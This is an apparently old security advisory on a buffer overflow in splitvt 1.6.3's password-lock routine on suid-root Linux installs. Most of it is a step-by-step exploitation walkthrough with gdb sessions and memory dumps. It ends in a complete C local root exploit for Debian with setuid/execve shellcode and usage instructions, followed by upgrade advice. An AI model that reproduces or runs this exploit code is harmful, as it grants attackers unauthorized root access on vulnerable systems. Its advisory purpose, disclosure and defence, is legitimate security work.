COMMAND

    splitvt

SYSTEMS AFFECTED

    Linux

PROBLEM

    'syzop'  found  following.    Splitvt  1.6.3  contains  a   buffer
    overflow,  if  you  have   installed  splitvt  suid  root    (like
    Debian/Redhat/etc, btw not slackware).

    The problem is in lock.c in lock_screen:

        if (cnt < BUFSIZ-1) *(nextbuf++) = c;

    This looks ok, but cnt is never increased.  nextbuf is set to  the
    buffer where  the data  should be  stored, 1st  time it's entered1
    (password  input),  2nd  time  it's  entered2  (again  password to
    verify), and:

        static char entered1[BUFSIZ], entered2[BUFSIZ];
        BUFSIZ = 8192.

    Ok, let's see what  gets overwritten... we start  splitvt, ctrl+o,
    x:

        Enter password: blah
        Re-enter password: xxxxx<around 13.000 of x's (until we crash)>

        Program received signal SIGSEGV, Segmentation fault.
        0x400b5786 in getc ()
        (gdb) backtrace
        #0  0x400b5786 in getc ()
        #1  0x804e028 in event_getc (X_event=0xbfffdb0c) at vtmouse.c:194
        #2  0x8049d8c in main (argc=1, argv=0xbffffc14) at splitvt.c:387
        #3  0x400847e2 in   ()

    Don't pay too much attention to  the point of the crash, the  only
    thing we  now know  is we  can't overwrite  the return address (or
    not enough), that's very logical  with a function which is  called
    for every  single character.   The backtrace  doesn't seem  to  be
    interessting, possibly we have  overwritten some important var  or
    something.  We must search for another way to jump to our  exploit
    code...

    Let's see how entered2 and the memory after it looks like:

        0x805c940 <entered2>:   0x78787878      0x78787878      0x78787878      0x78787878
        0x805c950 <entered2+16>:        0x78787878      0x78787878      0x78787878      0x78787878
        0x805c960 <entered2+32>:        0x78787878      0x78787878      0x78787878      0x78787878
        -- snip --
        0x805e930 <entered2+8176>:      0x78787878      0x78787878      0x78787878      0x78787878
        0x805e940 <marked>:     0x78787878      0x78787878      0x78787878      0x78787878
        0x805e950 <on+8>:       0x78787878      0x78787878      0x78787878      0x78787878
        etc etc, until:
        0x805fa00 <next+128>:   0x78787878      0x78787878      0x78787878      0x78787878
        0x805fa10 <next+144>:   0x78787878      0x78787878      0x78787878      0x78787878
        0x805fa20 <tty_mode+4>: 0x78787878      0x78787878      0x78787878      0x78787878
        0x805fa30 <curwin>:     0x78787878      0x78787878      0x78787878      0x78787878
        0x805fa40 <physical+12>:        0x78787878      0x40141a78      0x40141b00      0x0805fa58

    After further investigation the following vars are overwritten:

        marked, oldattr, on, selbuf, master_fd, next, tty_mode, curwin, physical

    Let's see...

        cut-paste.c:14:static int marked, oldattr;
        cut-paste.c:24:int *oldattr;
        cut-paste.c:215:static char selbuf[4096];
        misc.c:128:int master_fd;
        vtmouse.c:163:  static char prefix[8], *next;
        misc.c:426:struct termio tty_mode;  /* Save tty mode here */
        vt100.c:31:window *curwin;
        vt100.c:34:struct physical physical;

    Only the last two seem interessting:

        typedef struct {
                position cursor;                /* The current position of cursor */
                int rows;                       /* The number of rows in window */
                int cols;                       /* The number of cols in window */
                int row_offset;                 /* The physical offset of upper edge */
                int scr_upper;                  /* Upper limit of scroll region */
                int scr_lower;                  /* Lower limit of scroll region */
                void (*process_char)();         /* Next output processing function */
                enum keystate key_state;                /* For vt100 keypad */
                unsigned char charset[NCHARSETS];       /* Current character set */
                unsigned char textattr;                 /* Current text attributes */
                int esc_param[MAX_PARAMS], *cur_param;  /* Escape parameters */
                int param_idx;                  /* Current index into esc_param */
                int **videomem;                 /* Storage for the virtual screen */
                int *tabstops;                  /* Tabstops in the columns */
                position saved_cursor;          /* Saved cursor position */
                unsigned char saved_textattr;   /* Saved text attributes */
                } window;

        struct physical {
                window *subwins[2];     /* The smaller, split sub-windows */
                int rows;               /* The number of rows on the screen */
                int cols;               /* The number of cols on the screen */
        };

    Hey,  that  looks   nice!  curwin->process_char...  'Next   output
    processing function'.  All we have to do is create our own  window
    struct, put the address of our-window-struct into *curwin and  put
    a  pointer  in  our-window-structure.process_char  to  the exploit
    code.  So:

        - Program reads curwin
        - Program reads process_char of our-window-struct
        - Program executes the function

    Let's  first  see  how  many  characters  we  exactly need for our
    overflow, so  we aren't  going to  overflow unneccesary characters
    (we don't want to segfault):

        0x0805fa50 (curwin) - 0x0805c960 (buffer2) = 0x30f0 (12.528)

    Nice,  so  we  want  curwin  to  point  to  the  begin of buffer2,
    0x0805c960, let's test:

        (sleep 45; echo blaaaaaaaaa)
        ctrl+o, x, 'enter password' bla,
        'enter password again', [0x40](100x) + [0x60 0xc9 0x05 0x08](12.428x).
        Program received signal SIGSEGV, Segmentation fault.
        0x40404040 in ?? ()
        (gdb)

    Wow!  Our exploit will look like:

        <window-struct><NOPs><shellcode><pointers-to-window-struct>

    'syzop' coded the exploit in c, using standard shellcode, then put
    the  exploit  output  in  a  file,  ftp'd it to windows (nobody is
    perfect) box and  copy&pasted it using  putty.  But  every time he
    tried to paste the 1st line he got 'Program exited normally.',  so
    there was a special character  in the exploit somewhere and  after
    tracing he  found out  it was  0xFF.   Great, now  we've to create
    shellcode.

    There are 3 0xFF's... after  disassembling we see this is  because
    of the call -0x24 back, the shellcode does a jmp +0x1f and a  call
    -0x24  to  find  out  where  the  string /bin/sh is located.  This
    isn't necessary since we know the exact location of the  '/bin/sh'
    string.   After  a  little  change  and  removed  the call, we try
    again...   Wow we  got a  shell, but  after a  'whoami' we  aren't
    happy  anymore..  no  root,  mmmm.   Ofcourse,  we  have  to  do a
    setuid(0) first...   After finding  out how  to do  a setuid(0) in
    assembly  language  and  again  coding  shellcode  we  have  a new
    exploit...

        sh-2.02# root
        sh-2.02# uid=0(root) gid=1000(syzop) egid=0(root) groups=1000(syzop)
        sh-2.02#

    The terminal is screwed up  (just a 'reset' and it's  ok), however
    we got root!

    Now  test  it  at  the  debian  binary  splitvt  (latest  version,
    1.6.3-4).  First  we have to  find out the  address of the  buffer
    again, let's see how we could do this...

        --[lock.c:50]
                                        if (strcmp(entered1, entered2) == 0) {
                                                sprintf(message,
                                "Screen locked by %s.  Enter password: ",

    Nice.

        ROOT@P166:/# gdb splitvt
        GNU gdb 4.17.m68k.objc.threads.hwwp.fpu.gnat
        Copyright 1998 Free Software Foundation, Inc.
        GDB is free software, covered by the GNU General Public License, and you are
        welcome to change it and/or distribute copies of it under certain conditions.
        Type "show copying" to see the conditions.
        There is absolutely no warranty for GDB.  Type "show warranty" for details.
        This GDB was configured as "i486-pc-linux-gnu"...
        (no debugging symbols found)...
        (gdb) break strcmp
        Breakpoint 1 at 0x8048fe4
        (gdb) ignore 1 25
        Will ignore next 25 crossings of breakpoint 1.
        (gdb) run
        splitvt is started.. ctrl+x, o, la, li, la, li, la, li etc.. ah, in the end:
        (no debugging symbols found)...(no debugging symbols found)...
        Breakpoint 1, 0x40080e14 in strcmp ()
        (gdb) disassemble strcmp
        Dump of assembler code for function strcmp:
        0x40080e10 <strcmp>:    pushl  %ebp
        0x40080e11 <strcmp+1>:  movl   %esp,%ebp
        0x40080e13 <strcmp+3>:  pushl  %esi
        0x40080e14 <strcmp+4>:  movl   0x8(%ebp),%esi
        0x40080e17 <strcmp+7>:  movl   0xc(%ebp),%edx
        0x40080e1a <strcmp+10>: leal   0x0(%esi),%esi
        (gdb) break *0x40080e17
        Breakpoint 2 at 0x40080e17
        (gdb) c
        Continuing.

        Breakpoint 2, 0x40080e17 in strcmp ()
        (gdb) info register esi
             esi:  0x80572e4   134574820

    So entered2 is at 0x80572e4.   Working exploit for Debian  follows
    below (you have to change it  for redhat).  You have to  paste the
    stuff exactly, so  using your mouse  in (normal) console  Linux to
    copy&paste won't work for several reasons.

    /*
	    Local exploit for Debian splitvt 1.6.3-4 - by Syzop

	    Thanks to aleph1 for writing the article about
	    buffer overflows in phrack 49 :).

	    Greetz:	Terror, Scorpion, ^Stealth^, Jornx, Multani,
		    and all other ppl of The^Alliance :)

    How to use the exploit
    -----------------------

    1.	Use: ./splitexp >expcode to put the exploitcode into 'expcode'.
    2.	Start splitvt
    3.	Enter something like 'sleep 60; echo lalala'
    4.	Ctrl+O, x, 'Enter password' bla
    5.	Then splitvt says 'Re-enter password', this is the moment
	    you have to follow the instructions in 'expcode' to paste
	    the exploitcode to splitvt (don't press enter, see 6).
    6.	Wait until the sleep is done (or kill 'sleep' yourself from
	    _another_ terminal).
    7.	You now got a rootshell,
	    type 'reset' to get a normal terminal :).

    IMPORTANT NOTES!!
    ------------------

    NOTE 1:	You have to paste the data exactly, so just a paste with the mouse
	    won't work since the shellcode also contains 08's (backspaces),
	    So using mouse copy&paste in normal linux console mode doesn't work,
	    I used windows with 'putty'

    NOTE 2: If you ftp the exploit code to a windows box, be sure to transfer
	    the file in ASCII mode :).

    */

    #include <stdlib.h>
    #include <stdio.h>

    #define NOP		0x90

    /*
	    The shellcode: setuid(0); execve("/bin/sh",NULL); exit(0);.
	    Pointer to /bin/sh is static, so filled with 0x90s here,
	    will be changed to an address at runtime.
    */
    char shellcode[] =
            "\x31\xc0\x50\x89\xc3\xb0\x17\xcd"
            "\x80\xbe\x90\x90\x90\x90\x89\x76"
            "\x08\x31\xc0\x88\x46\x07\x89\x46"
            "\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08"
            "\x8d\x56\x0c\xcd\x80\x31\xdb\x89"
            "\xd8\x40\xcd\x80/bin/sh.";

    void main(int argc, char *argv[]) {
      char *buff, *ptr;
      char *pointerz;
      long *addr_ptr, addr;
      int i;

      long addr1=0x80592e4;		// pointer to the middle of our window-struct
      long addr2;			// pointer to position after 25% of the NOPs
      long addr3;			// pointer to '/bin/sh' string

      fprintf(stderr,"Splitvt exploit by Syzop\n\n");
      if (argc > 1) addr1  = atol(argv[1]);

      addr2=addr1+350;
      addr3=addr1+444;

      if (!(buff = malloc(1500))) {
        printf("Can't allocate memory.\n");
        exit(0);
      }


      // set offset-to-/bin/sh in shellcode
      ptr = shellcode+10;
      addr_ptr = (long *) ptr;
        *(addr_ptr++) = addr3;

      // 0-300: the window struct
      // first filling with 0x40's
      ptr = buff;
      addr_ptr = (long *) ptr;
      for (i = 0; i < 300; i+=4)
        *(addr_ptr++) = 0x40404040;

      // set pointer to addr2 in curwin->process_char
      ptr = buff + 28;
      addr_ptr = (long *) ptr;
        *(addr_ptr++) = addr2;	// this is the pointer to addr2

      for (i = 300; i < 528; i++)		// 300-END	NOPs
        buff[i] = NOP;

      // 400-...:	shellcode
      ptr = buff + 400;
      for (i = 0; i < strlen(shellcode); i++)
        *(ptr++) = shellcode[i];

      buff[528] = '\0';

      // Create the pointers-to-addr1-string.

      pointerz=(char *)malloc(1004);
      ptr = pointerz;
      addr_ptr = (long *) ptr;
      for (i = 0; i < 1000; i+=4)		// 0-300:	the window-structure
        *(addr_ptr++) = addr1;

      pointerz[1000]=0;
      printf("Paste this 1x:\n%s\n\nAnd this 12x:\n%s\n", buff, pointerz);
    }

    On SuSE  splitvt isn't  installed setuid  on SuSE  Linux.   So how
    does it work?   If it's not  setuid, and has  not been patched  to
    use devpts, it  has no way  of chowning the  tty's it uses.   That
    means that when you run splitvt, you are typing into a shell  that
    is connected to a tty that is (typically) mode:

        crw-rw-rw-    1 root     tty        3, 176 Jun 14 14:53 /dev/ttya0

    Thus,  third  parties  can  eg,  write  escape  sequences  to  the
    terminal, and possibly  remap keystrokes to  do evil things.   And
    they can certianly capture your keystokes to that terminal.

SOLUTION

    You should upgrade to 1.6.4.   Debian users should look  following
    URL:

        http://www.debian.org/security/2000/20000605a

    Note  that  in  addition  to  the  above  fix,  version 1.6.4-3 of
    splitvt in Debian is no longer suid root, just sgid utmp.

    Redhat did respond with a  "that package comes from our  'contrib'
    section,  which  we  do  not  maintain",  so there isn't a new rpm
    (yet?),  but  you  could  download  the  source  and compile 1.6.4
    yourself.  Source:

        http://www.devolution.com/~slouken/projects/splitvt/